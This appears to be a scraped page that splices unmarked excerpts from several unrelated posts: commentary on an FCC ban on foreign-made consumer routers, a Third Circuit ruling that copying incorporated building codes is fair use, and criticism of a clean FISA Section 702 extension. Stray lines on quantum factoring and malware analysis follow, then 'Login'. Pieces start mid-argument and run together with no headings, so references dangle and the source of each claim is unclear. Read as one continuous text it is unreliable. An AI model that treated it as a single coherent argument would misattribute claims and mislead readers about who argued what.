Previously, the FCC had changed the Covered List to ban hardware by specific vendors, such as telecom equipment produced by companies Huawei and Hytera in 2021. This new blanket ban, in contrast, affects the importation and sale of almost all new consumer routers. It does not affect consumer routers produced in the United States, like Starlink in Texas. While some of the affected routers will be vulnerable to compromises that hijack the devices and use them for cybercrime and attacks, this ban does not distinguish between companies with a track-record of producing vulnerable products and those without. As a result, instead of incentivizing security-minded production, this will only limit the options consumers have to US-based manufacturers not affected by the ban—even those that lack stellar security reputations themselves.
While the sale of vulnerable routers in the U.S. will not stop, the announcement quoted an Executive Branch determination that foreign produced routers introduce “a supply chain vulnerability that could disrupt the U.S. economy, critical infrastructure, and national defense.” Yet this move does nothing to address the growing number of connected devices involved in the attacks this ban aims to address. As we have previously pointedout, supply chain attacks have resulted in no-name Android TV boxes preloaded with malware, sold by retail giants like Amazon, fuelling the massive Kimwolf and BADBOX 2 fraud and residential proxy botnets. Banning the specific models and manufacturers we know produce dangerous devices putting its purchasers at risk, rather than issuing blanket bans punishing reputable brands that do better, should be the priority.
With the FCCs top commissioner appointed by the President, this ban comes as other parts of the administration impose tariffs and issue dozens of trade-related executive orders aimed at foreign goods. A few larger companies with pockets deep enough to invest in manufacturing plants within the U.S. may see this as an opportune moment, while others not as well poised to begin U.S. operations may attempt to curry enough favor to be added to the DoD or DHS exception lists. At best, this will result in the immediate effect of an ill-targeted policy that does little to improve domestic cybersecurity posture. At worst, it entrenches existing players and deepens problematic quid-pro-quo arrangements.
American consumers deserve better. They deserve the assurance that the devices they use, whether routers or other connected smart home devices, are built to withstand attacks that put themselves and others at risk, no matter where they are manufactured. For this, a nuanced, careful consideration of products (such as was part of the FCC’s 2023-proposed U.S. Cyber Trust Mark) is necessary, rather than blanket bans.
Another court has ruled that copyright can’t be used to keep our laws behind a paywall. The U.S. Court of Appeals for the Third Circuit upheld a lower court’s ruling that it is fair use to copy and disseminate building codes that have been incorporated into federal and state law, even though those codes are developed by private parties who claim copyright in them. The court followed the suggestions EFF and others presented in an amicus brief, and joined a growing list of courts that have placed public access to the law over private copyright holders’ desire for control.
UpCodes created a database of building codes—like the National Electrical Code—that includes codes incorporated by reference into law. ASTM, a private organization that coordinated the development of some of those codes, insists that it retains copyright in them even after they have been adopted into law, and therefore has the right to control how the public accesses and shares them. Fortunately, neither the Constitution nor the Copyright Act support that theory. Faced with similar claims, some courts, including the Fifth Circuit Court of Appeals, have held that the codes lose copyright protection when they are incorporated into law. Others, like the D.C. Circuit Court of Appeals in a case EFF defended on behalf of Public.Resource.Org, have held that, whether or not the legal status of the standards changes once they are incorporated into law, making them fully accessible and usable online is a lawful fair use.
In this case, the Third Circuit found that UpCodes’s copying of the codes was a fair use, in a decision closely following the D.C. Circuit’s reasoning. Fair use turns on four factors listed in the Copyright Act, and the court found that all four favored UpCodes to some degree.
On the first factor, the purpose and character of the use, the court found that UpCodes’s use was “transformative” because it had a separate and distinct purpose from ASTM—informing people about the law, rather than just best practices in the building industry. No matter that UpCodes was copying and disseminating entire safety codes verbatim—using the codes for a different purpose was enough. And UpCodes being a commercial venture didn’t change the outcome either, because UpCodes wasn’t charging for access to the codes.
On the second factor, the nature of the copyrighted work, the Third Circuit joined other appeals courts in finding that laws are facts, and stand at “the periphery of copyright’s core protection.” And this included codes that were “indirectly” incorporated—meaning that they were incorporated into other codes that were themselves incorporated into law.
The third factor looks at the amount and substantiality of the material used. The court said that UpCodes could not have accomplished its purpose—providing access to the current binding laws governing building construction—without copying entire codes, so the copying was justified. Importantly, the court noted that UpCodes was justified in copying optional parts of the codes as well as “mandatory” sections because both help people understand what the law is.
Finally, the fourth factor looks at potential harm to the market for the original work, balanced against the public interest in allowing the challenged use. The court rejected an argument frequently raised by copyright holders—that harm can be assumed any time materials are posted to the internet for all to access. Instead, the court held that when a use is transformative, a rightsholder has to bring evidence of harm, and that harm will be balanced against the public benefit. Because “enhanced public access to the law is a clear and significant public benefit,” and ASTM hadn’t shown significant evidence that UpCodes had meaningfully reduced ASTM’s revenues, the fourth factor was at least neutral. It didn’t matter to the court that ASTM offered to provide copies of legally binding standards to the public on request, because “the mere possibility of obtaining a free technical standard does not nullify the public benefits associated with enhanced access to law.”
This is a good result that will expand the public’s access to the laws that bind us—something that’s more important than ever given recent assaults on the rule of law. In the future, we hope that courts will recognize that codes and standards lose copyright when they are incorporated into law, so that people don’t have to spend years and legal fees litigating fair use just to exercise their rights.
However, Congress clearly did not continue this work. In fact, it now appears that Congress is poised to consider another extension of this program without even attempting to include necessary and common sense reforms. Most notably, Congress is not considering a requirement to obtain a warrant before looking at data on U.S. persons that was indiscriminately and warrantlessly collected. House Speaker Mike Johnson confirmed that “the plan is to move a clean extension of FISA … for at least 18 months.”
Even more disappointing, House Judiciary Chair Jim Jordan, who has previously been a champion of both the warrant requirement and closing the data broker loophole, told the press he would vote for a clean extension of FISA, claiming that RISAA included enough reforms for the moment.
It’s important to note RISAA was just a reauthorization of this mass surveillance program with a long history of abuse. Prior to the 2024 reauthorization, Section 702 was already misused to run improper queries on peaceful protesters, federal and state lawmakers, Congressional staff, thousands of campaign donors, journalists, and a judge reporting civil rights violations by local police. RISAA further expanded the government’s authority by allowing it to compel a much larger group of people and providers into assisting with this surveillance. As we said when it passed, overall, RISAA is a travesty for Americans who deserve basic constitutional rights and privacy whether they are communicating with people and services inside or outside of the US.
Section 702 should not be reauthorized without any additional safeguards or oversight. Fortunately, there are currently three reform bills for Congress to consider: SAFE, PLEWSA, and GSRA. While none of these bills are perfect, they are all significantly better than the status quo, and should be considered instead of a bill that attempts no reform at all.
Mass spying—accessing a massive amount of communications by and with Americans first and sorting out targets second and secretly—has always been a problem for our rights. It was a problem at first when President George W. Bush authorized it in secret without Congressional or court oversight. And it remained a problem even after the passage of Section 702 in 2008 created the possibility of some oversight. Congress was right that this surveillance is dangerous, and that's why it set Section 702 up for regular reconsideration. That reconsideration has not occurred, even as the circumstances of the NSA, Justice Department, and FBI leadership, have radically changed. Reform is long overdue, and now it's urgent.
I’m skeptical about—and not qualified to review—this new result in factorization with a quantum computer, but if it’s true it’s a theoretical improvement in the speed of factoring large numbers with a quantum computer.
Malware analysis is an amazing field that can be interesting, fun, and useful for your cybersecurity career. If you’re wondering WHY anyone would want to dig into malware, it’s all for a better understanding of cybersecurity!
Login
